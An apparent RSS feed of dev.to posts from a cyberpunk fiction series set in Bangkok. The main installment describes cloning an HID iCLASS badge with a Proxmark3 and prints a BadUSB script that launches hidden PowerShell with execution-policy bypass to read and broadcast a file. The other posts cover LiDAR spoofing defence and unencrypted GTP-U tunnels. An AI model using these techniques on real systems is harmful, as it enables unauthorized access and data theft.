    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;defender&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;filterPointCloud&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;frame2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`[Result] Input: &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;result&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;totalReceived&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; pts | Valid: &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;result&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;validPoints&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; | Rejected: &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;result&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;anomaliesDetected&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nx"&gt;result&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;anomalies&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;forEach&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;warn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;` [ALERT] Drop Point [&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;] at (&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;x&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;, &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;y&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;, &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;z&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;) -&amp;gt; Reason: &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;reason&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nf"&gt;runSimulation&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="nx"&gt;module&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;exports&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;ToFPointCloudDefender&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  4. Into the Chao Phraya Dark: Those Who Cheat the Machine’s Eye
&lt;/h2&gt;

&lt;p&gt;We splash onto the derelict pier beside the klong. A long-tail boat waits, bowman already loosening the lines.&lt;/p&gt;

&lt;p&gt;“Made it, darling.”&lt;/p&gt;

&lt;p&gt;We muscle the bike aboard. The boat slips into the black current while red searchlights still sweep the core towers behind us.&lt;/p&gt;

&lt;p&gt;“They’re fusing every street cam into a city-wide ToF mesh,” darling mutters, opening his laptop.&lt;/p&gt;

&lt;p&gt;“Doesn’t matter how clever the AI gets—the eyes are still bound by physics. Wavelength, flight time, refractive index. Understand the hardware layer and every cage has an exit.”&lt;/p&gt;

&lt;p&gt;I open my prosthetic palm, letting rain cool the still-warm laser diodes.&lt;/p&gt;

&lt;p&gt;“To every monster trying to own our bodies and our data—next time we’re coming for the heart.”&lt;/p&gt;

&lt;p&gt;The propeller bites water and we vanish into the neon night.&lt;/p&gt;




&lt;p&gt;🔗 &lt;strong&gt;Read the previous Sofi_Log:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
‘At the Masked Gala I Hijacked the LED Wall: NFC Badge Clone + Air-Gapped Biometric Data Dump Spec Sheet’ | Sofi_Log #074&lt;br&gt;&lt;br&gt;
👉 &lt;a href="https://note.com/legal_rat2977/n/n65a28aff763c" rel="noopener noreferrer"&gt;https://note.com/legal_rat2977/n/n65a28aff763c&lt;/a&gt;&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;【Disclaimer】&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
The code, protocols, and experimental setups in this article are provided strictly for research and education in sensor-security for autonomous systems and robotics. They are not intended or offered as tools for interfering with third-party operations.&lt;/p&gt;

&lt;p&gt;🎁 &lt;strong&gt;Full Open-Source Drop&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
The &lt;code&gt;ToFPointCloudDefender.js&lt;/code&gt; class is released in its entirety for your own engineering work.&lt;/p&gt;




&lt;h2&gt;
  
  
  📬 Sofi's Mailbox #075 (Q&amp;amp;A Lounge)
&lt;/h2&gt;

&lt;p&gt;So, darlings—how’d the optical sleight-of-hand in the rain feel?&lt;/p&gt;

&lt;p&gt;LiDAR is still treated like gospel by most autonomy stacks. When your own bot or IoT rig gets hit with weather or adversarial pulses, how are you separating real geometry from ghosts?&lt;/p&gt;

&lt;p&gt;Drop questions on ToF vs stereo noise resilience, edge-CPU filtering tricks, or anything else. Sofi and darling will hit the next log with answers.&lt;/p&gt;




&lt;h3&gt;
  
  
  Disclaimer
&lt;/h3&gt;

&lt;p&gt;&lt;em&gt;This article is for educational and entertainment purposes only. It does NOT constitute financial, legal, or tax advice. The regulatory landscape of Web3, smart contracts, and AI agent autonomous systems is highly volatile and complex. Always perform your own research (DYOR) and consult with certified professionals before executing any strategies described herein.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>nomad</category>
      <category>web3</category>
      <category>security</category>
      <category>solana</category>
    </item>
    <item>
      <title>『超高級ホテルの仮面ガラで、私は壇上LEDスクリーンを奪った：NFC特権バッジ複製と「エアギャップ生体データ公衆暴露」自作仕様書』 Sofi_Log #074【1話完結】</title>
      <dc:creator>sofi works</dc:creator>
      <pubDate>Thu, 01 Oct 2026 02:47:27 +0000</pubDate>
      <link>https://dev.to/sofi_works_2a97535d1a93dc/chao-gao-ji-hoterunojia-mian-garade-si-hatan-shang-ledsukurinwoduo-tutanfcte-quan-batuzifu-zhi-toeagiyatupusheng-ti-detagong-zhong-bao-lu-zi-zuo-shi-yang-shu-sofilog-0741hua-wan-jie--2ncc</link>
      <guid>https://dev.to/sofi_works_2a97535d1a93dc/chao-gao-ji-hoterunojia-mian-garade-si-hatan-shang-ledsukurinwoduo-tutanfcte-quan-batuzifu-zhi-toeagiyatupusheng-ti-detagong-zhong-bao-lu-zi-zuo-shi-yang-shu-sofilog-0741hua-wan-jie--2ncc</guid>
      <description>&lt;h1&gt;
  
  
  'I Hijacked the Stage LED Screen at the Ultra-Luxury Hotel Masquerade Gala: NFC Privileged Badge Cloning and "Air-Gapped Biometric Data Public Exposure" DIY Spec Sheet' | Sofi_Log #074 [Complete One-Shot]
&lt;/h1&gt;




&lt;p&gt;That employee badge dangling from your neck, the tower-mansion access card, or the privileged ID badge of some medical worker.&lt;br&gt;&lt;br&gt;
You’re not seriously buying the line that “it’s the latest contactless IC card, so it’s encrypted and safe,” are you, darling?&lt;/p&gt;

&lt;p&gt;RFID/NFC standards (HID iCLASS, MIFARE Classic, etc.) are everywhere in building and office physical access control.&lt;br&gt;&lt;br&gt;
Most of them still have fatal holes—Nested Attacks on known crypto keys, or simple replay of wireless packets—that let you clone the full auth data in the single second it takes to brush past someone.&lt;/p&gt;

&lt;p&gt;Last night at Khlong Toei Port I pinned down the massive medical conglomerate and high-ranking state officials colluding to sell Thai biometric data on the black market.&lt;br&gt;&lt;br&gt;
Drop it online and the usual capital-and-power machine just labels it “fake news” and buries it.&lt;br&gt;&lt;br&gt;
So there was only one move left.&lt;/p&gt;

&lt;p&gt;At the dead-center of an ultra-luxury hotel masquerade gala packed with foreign diplomats, corporate execs, and white-coated monsters, I would slam the raw data straight into their faces with zero escape route.&lt;/p&gt;


&lt;h2&gt;
  
  
  1. 21:30, Phrom Phong High-Rise: Evening Dress and the Black Prosthetic Arm
&lt;/h2&gt;

&lt;p&gt;21:30. Phrom Phong, Bangkok core.&lt;br&gt;&lt;br&gt;
Top-floor ballroom of the five-star Grand Atrium.&lt;br&gt;&lt;br&gt;
Beyond the floor-to-ceiling glass, the rain-slicked skyline glittered like a cyberpunk jewelry box.&lt;/p&gt;

&lt;p&gt;The crisp chime of champagne flutes and a live string quartet.&lt;br&gt;&lt;br&gt;
Tonight’s event: the VIP reception of the “Asia Advanced Healthcare Summit,” hosted by Siam Medical Core and the National Smart City Promotion Committee.&lt;/p&gt;

&lt;p&gt;“…Hey darling, how’s the dress?”&lt;/p&gt;

&lt;p&gt;I swirled the hem of the backless black silk number and lifted my flute.&lt;br&gt;&lt;br&gt;
My exposed left arm—matte-black bioceramic armor with hair-thin bio-neural gold lines—looked less like a street weapon and more like the latest avant-garde jewelry the moneyed crowd was drooling over.&lt;/p&gt;

&lt;p&gt;“Fits you perfectly. But we don’t have time for staring.”&lt;/p&gt;

&lt;p&gt;From behind a marble pillar, darling adjusted his loosened tie, the compact SDR spectrum analyzer peeking from his jacket pocket.&lt;/p&gt;

&lt;p&gt;“Main stage and kiosk terminals are fully air-gapped—no external internet. Remote entry is a hard 100 % impossible. Only way in is to physically touch a Master Tier badge to the VIP control kiosk in the back.”&lt;/p&gt;

&lt;p&gt;“Got it. The owner of that badge is the Siam Medical CEO over there, sipping wine.”&lt;/p&gt;

&lt;p&gt;My gaze landed on the silver-haired gentleman laughing with a government official, gold pin and black HID iCLASS SE Elite badge gleaming on his chest.&lt;/p&gt;

&lt;p&gt;“Darling, prep the intercept script. I’ll snatch the key in ten seconds.”&lt;/p&gt;


&lt;h2&gt;
  
  
  2. One-Second Clone on the Pass: NFC Emulation and BadUSB Injection
&lt;/h2&gt;

&lt;p&gt;I glided behind the CEO with elegant steps.&lt;br&gt;&lt;br&gt;
In the moment we passed, I used the motion of dodging a waiter’s tray to bring the high-output close-range NFC antenna (Proxmark3 module hidden in my cuff) to within two centimeters of his jacket.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Beep.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;A tiny green status burst on the AR contact-lens HUD.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[NFC EXPLOIT: ISO14443A / HID iCLASS SE DUMP]
- UID: 0x4B, 0x1F, 0x90, 0x2A
- Facility Code: 114 / Card Number: 00492
- Master Key Divergence: SUCCESS (Elite Key Reconstructed)
- Emulation State: ACTIVE (Card Spooled to Virtual Register)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;“…Mine now.”&lt;/p&gt;

&lt;p&gt;Still smiling, I walked to the glass VIP presentation kiosk at the side of the stage.&lt;br&gt;&lt;br&gt;
I raised the titanium-nailed index finger of my prosthetic arm—coil embedded in the tip—and presented it to the reader.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Click.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;The touch panel flipped green. “WELCOME, CHIEF EXECUTIVE OFFICER” appeared.&lt;br&gt;&lt;br&gt;
At the same instant I physically bridged the service port on the back of the kiosk with the ultra-fine probe hidden in my palm.&lt;/p&gt;

&lt;p&gt;Below is the BadUSB (HID keystroke injection) script I ran to breach the air gap and force the internal whistleblower packet onto the massive Barco-controlled LED wall.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;#!/usr/bin/env python3
&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;
Sofi_Log #074: Air-Gapped BadUSB HID Injection &amp;amp; Presentation Override
Target: VIP Keynote Presentation Terminal (Windows/Linux Embedded)
&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;

&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;

&lt;span class="c1"&gt;# HIDキーストローク・マクロ（USBキーボードとして瞬時にコマンド実行）
&lt;/span&gt;&lt;span class="n"&gt;PAYLOAD_SCRIPT&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;
$client = New-Object System.Net.Sockets.TcpClient(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;127.0.0.1&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;, 9999);
$stream = $client.GetStream();
# ローカルキャッシュされた前夜クロントイ港の生体密売生ログを読み出し
$leakData = Get-Content -Path &lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;D:&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;EVIDENCE&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;PMC_BIOMETRIC_SMUGGLING_SIGNED.DAT&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;;
# 壇上の巨大LEDウォール送出ソフトウェア（Barco / Resolume）のAPIポートへ強制インジェクション
$socket = New-Object System.Net.Sockets.UdpClient;
$endpoint = New-Object System.Net.IPEndPoint([System.Net.IPAddress]::Parse(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;192.168.10.255&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;), 6000);
$bytes = [System.Text.Encoding]::UTF8.GetBytes(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;COMMAND:OVERRIDE_CANVAS;PAYLOAD:&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt; + $leakData);
$socket.Send($bytes, $bytes.Length, $endpoint);
&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;generate_ducky_script&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;
    Windows+R から PowerShell をステルス起動し、
    数千行の証拠ログを0.8秒でメインプロジェクターへ転送するシーケンス
    &lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
    &lt;span class="n"&gt;ducky_code&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;DELAY 200&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;GUI r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;DELAY 100&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;STRING powershell -NoP -NonI -W Hidden -Exec Bypass&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ENTER&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;DELAY 300&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;STRING &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;PAYLOAD_SCRIPT&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;chr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt; &lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ENTER&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ducky_code&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;__name__&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;__main__&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[*] Arming BadUSB HID Strike on Air-Gapped Keynote Controller...&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;script&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;generate_ducky_script&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[+] Payload Vector Generated. Simulating 1200wpm Keystroke Injection...&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;0.5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[+] INJECTION SUCCESS: Presentation Stream Hijacked!&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  3. Lights Out in the Ballroom—and the Monster’s “Adaptation”
&lt;/h2&gt;

&lt;p&gt;&lt;em&gt;GONG!!!!&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;The instant the kiosk accepted the enter key, the twenty-meter 8K LED wall at the front of the room flashed blood-red with a piercing alarm.&lt;/p&gt;

&lt;p&gt;The summit’s glossy PR footage dissolved into noise. In its place:&lt;br&gt;&lt;br&gt;
&lt;strong&gt;the cryptographically signed “Biometric Data Military Smuggling Contract” between Siam Medical Core and government officials that we seized at Khlong Toei the night before.&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Thousands of Thai patients’ live heart-rate, GPS, and hormone readings poured across the wall in raw hex.&lt;/p&gt;

&lt;p&gt;“What the hell is this?!”&lt;br&gt;&lt;br&gt;
“Kill it! Pull the power!”&lt;/p&gt;

&lt;p&gt;The CEO dropped his wine glass and screamed. Diplomats and investors leapt to their feet. The ballroom turned into instant pandemonium.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Alert tone screaming&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;“Unauthorized privileged badge detected! Lock all exits!”&lt;br&gt;&lt;br&gt;
Reinforced glass shutters began their heavy descent.&lt;/p&gt;

&lt;p&gt;“Sofi, they’re coming!”&lt;br&gt;&lt;br&gt;
Darling sprinted from the pillar. Private security with EMP launchers charged.&lt;/p&gt;

&lt;p&gt;“Catch me, darling!”&lt;br&gt;&lt;br&gt;
I slammed into the champagne tower, sent glass and spray flying, and we dove together through the service linen chute into the basement loading dock.&lt;/p&gt;

&lt;p&gt;We hit the waiting Ducati, darling twisted the key, and we blasted onto Phrom Phong Road, leaving the pursuers’ lights behind in the wet highway dark.&lt;/p&gt;

&lt;p&gt;“We did it, Sofi!”&lt;br&gt;&lt;br&gt;
Darling cheered, eyes on the mirror. “Raw data in front of every diplomat and journalist—there’s no walking this back!”&lt;/p&gt;

&lt;p&gt;“Yeah… total victory.”&lt;/p&gt;

&lt;p&gt;I wrapped my arms around his waist on the pillion, wind whipping my hair.&lt;br&gt;&lt;br&gt;
Then the phone mounted on the handlebars lit up with an emergency news alert.&lt;/p&gt;

&lt;p&gt;On screen, the same government press secretary we had just left behind was calmly addressing cameras outside the hotel.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;“At 21:40 tonight, a foreign cyber-terror group launched a malicious disinformation hack against the National Healthcare Summit venue.&lt;br&gt;&lt;br&gt;
The government has immediately declared a national state of emergency.&lt;br&gt;&lt;br&gt;
Henceforth, all citizens’ and foreign residents’ biometric IDs and medical data will be centrally managed by the **Military Cyber Defense Command&lt;/em&gt;* for national security purposes.”*&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;“…What the—?!”&lt;br&gt;&lt;br&gt;
Darling’s bike involuntarily slowed.&lt;/p&gt;

&lt;p&gt;We had nothing to say.&lt;br&gt;&lt;br&gt;
Instead of hiding the scandal, they had instantly reframed their own crime as a “terror threat” and used it as the perfect excuse to complete an even tighter military biometric surveillance dictatorship.&lt;/p&gt;

&lt;p&gt;The monster had factored getting wounded into its evolution.&lt;/p&gt;

&lt;p&gt;“…Heh. Ahaha…!”&lt;/p&gt;

&lt;p&gt;I looked up at the night sky and burst out laughing. Darling shot me a shocked glance in the mirror.&lt;/p&gt;

&lt;p&gt;“Sofi…? This isn’t funny!”&lt;/p&gt;

&lt;p&gt;“Oh, darling. What else is there to do but laugh?”&lt;br&gt;&lt;br&gt;
I clenched the titanium nail on my left arm.&lt;br&gt;&lt;br&gt;
A pure, white-hot fighting spirit I had never felt before ignited in my chest.&lt;/p&gt;

&lt;p&gt;“Take down the overseas mercenaries, expose the big hospitals, and the next thing that crawls out is the state military dictatorship itself.&lt;br&gt;&lt;br&gt;
I’ll make those monsters understand, bone-deep, exactly whose physical containers they’re trying to cage.&lt;br&gt;&lt;br&gt;
Gun it, darling. The real war starts now!”&lt;/p&gt;

&lt;p&gt;The Ducati’s exhaust note tore through the pitch-black Bangkok night, echoing far into the distance.&lt;/p&gt;




&lt;p&gt;🔗 &lt;strong&gt;Read Next (Previous Sofi_Log):&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
‘Biometric C2 Poison-Wave from the Shadow of Smuggling Containers at Midnight Khlong Toei Port: GTP-U Tunnel Spoofing and PMC Surveillance-Grid Poisoning DIY Spec Sheet’ | Sofi_Log #073&lt;br&gt;&lt;br&gt;
👉 &lt;a href="https://note.com/legal_rat2977/n/nd292d8ca4ce0" rel="noopener noreferrer"&gt;https://note.com/legal_rat2977/n/nd292d8ca4ce0&lt;/a&gt;&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;【Disclaimer】&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
※All code, protocol verification, and technical architecture in this article are provided for security research, proof-of-concept, and educational purposes only. They do not encourage or intend actual misuse or unauthorized access. Any application to real networks or systems is at your own risk.&lt;/p&gt;

&lt;p&gt;🎁 &lt;strong&gt;【Fully Open-Source】Live Code &amp;amp; Architecture&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
The NFC badge cloning verification steps and BadUSB HID injection script explained here are published in full for readers’ security research and learning.&lt;/p&gt;




&lt;h2&gt;
  
  
  📬 Sofi's Mailbox #074 (Q&amp;amp;A Corner)
&lt;/h2&gt;

&lt;p&gt;So, darlings—how was the do-or-die projection hack at the ultra-luxury hotel masquerade gala?&lt;/p&gt;

&lt;p&gt;If your own ID or smart key had been silently cloned in a single unnoticed pass… how would you harden your own fortress?&lt;/p&gt;

&lt;p&gt;Questions like “How do you fingerprint the encryption standard on an office contactless IC card?” or “Practical physical-security measures for air-gapped environments?”—drop your thoughts and doubts in the comments.&lt;br&gt;&lt;br&gt;
Sofi and darling will face them head-on in the next log!&lt;/p&gt;




&lt;h3&gt;
  
  
  Disclaimer
&lt;/h3&gt;

&lt;p&gt;&lt;em&gt;This article is for educational and entertainment purposes only. It does NOT constitute financial, legal, or tax advice. The regulatory landscape of Web3, smart contracts, and AI agent autonomous systems is highly volatile and complex. Always perform your own research (DYOR) and consult with certified professionals before executing any strategies described herein.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>nomad</category>
      <category>web3</category>
      <category>security</category>
      <category>solana</category>
    </item>
    <item>
      <title>『深夜のクロントイ港、密輸コンテナの影で放つ「生体C2毒電波」：GTP-Uトンネル偽装と民間軍事会社監視網ポイズニング自作仕様書』 Sofi_Log #073【1話完結】</title>
      <dc:creator>sofi works</dc:creator>
      <pubDate>Wed, 30 Sep 2026 02:38:48 +0000</pubDate>
      <link>https://dev.to/sofi_works_2a97535d1a93dc/shen-ye-nokurontoigang-mi-shu-kontenanoying-defang-tusheng-ti-c2du-dian-bo-gtp-utonneruwei-zhuang-tomin-jian-jun-shi-hui-she-jian-shi-wang-poizuninguzi-zuo-shi-yang-shu-sofilog-0731hua-wan-jie--53fh</link>
      <guid>https://dev.to/sofi_works_2a97535d1a93dc/shen-ye-nokurontoigang-mi-shu-kontenanoying-defang-tusheng-ti-c2du-dian-bo-gtp-utonneruwei-zhuang-tomin-jian-jun-shi-hui-she-jian-shi-wang-poizuninguzi-zuo-shi-yang-shu-sofilog-0731hua-wan-jie--53fh</guid>
      <description>&lt;h1&gt;
  
  
  Midnight at Khlong Toei Port: “Biometric C2 Poison Waves” in the Shadow of Smuggling Containers — GTP-U Tunnel Spoofing &amp;amp; PMC Surveillance Grid Poisoning Self-Spec Document｜Sofi_Log #073【Complete One-Shot】
&lt;/h1&gt;




&lt;p&gt;Your smartwatch or wearable heart-rate monitor keeps beaming biometric data to the cloud every single day.&lt;br&gt;&lt;br&gt;
You’re not &lt;em&gt;actually&lt;/em&gt; buying the line that “it’s safe because it rides on a major carrier’s 5G,” are you, darling?&lt;/p&gt;

&lt;p&gt;Buried inside the mobile standards is a decades-old structural Achilles’ heel: &lt;strong&gt;GTP-U (GPRS Tunnelling Protocol User Plane)&lt;/strong&gt;.&lt;br&gt;&lt;br&gt;
This tunnel protocol that stitches base stations to the carrier core network is, on most commercial kit, still flying completely unencrypted. Physically tap the path and anyone can slurp or tamper with whatever biometric packets happen to be riding it.&lt;/p&gt;

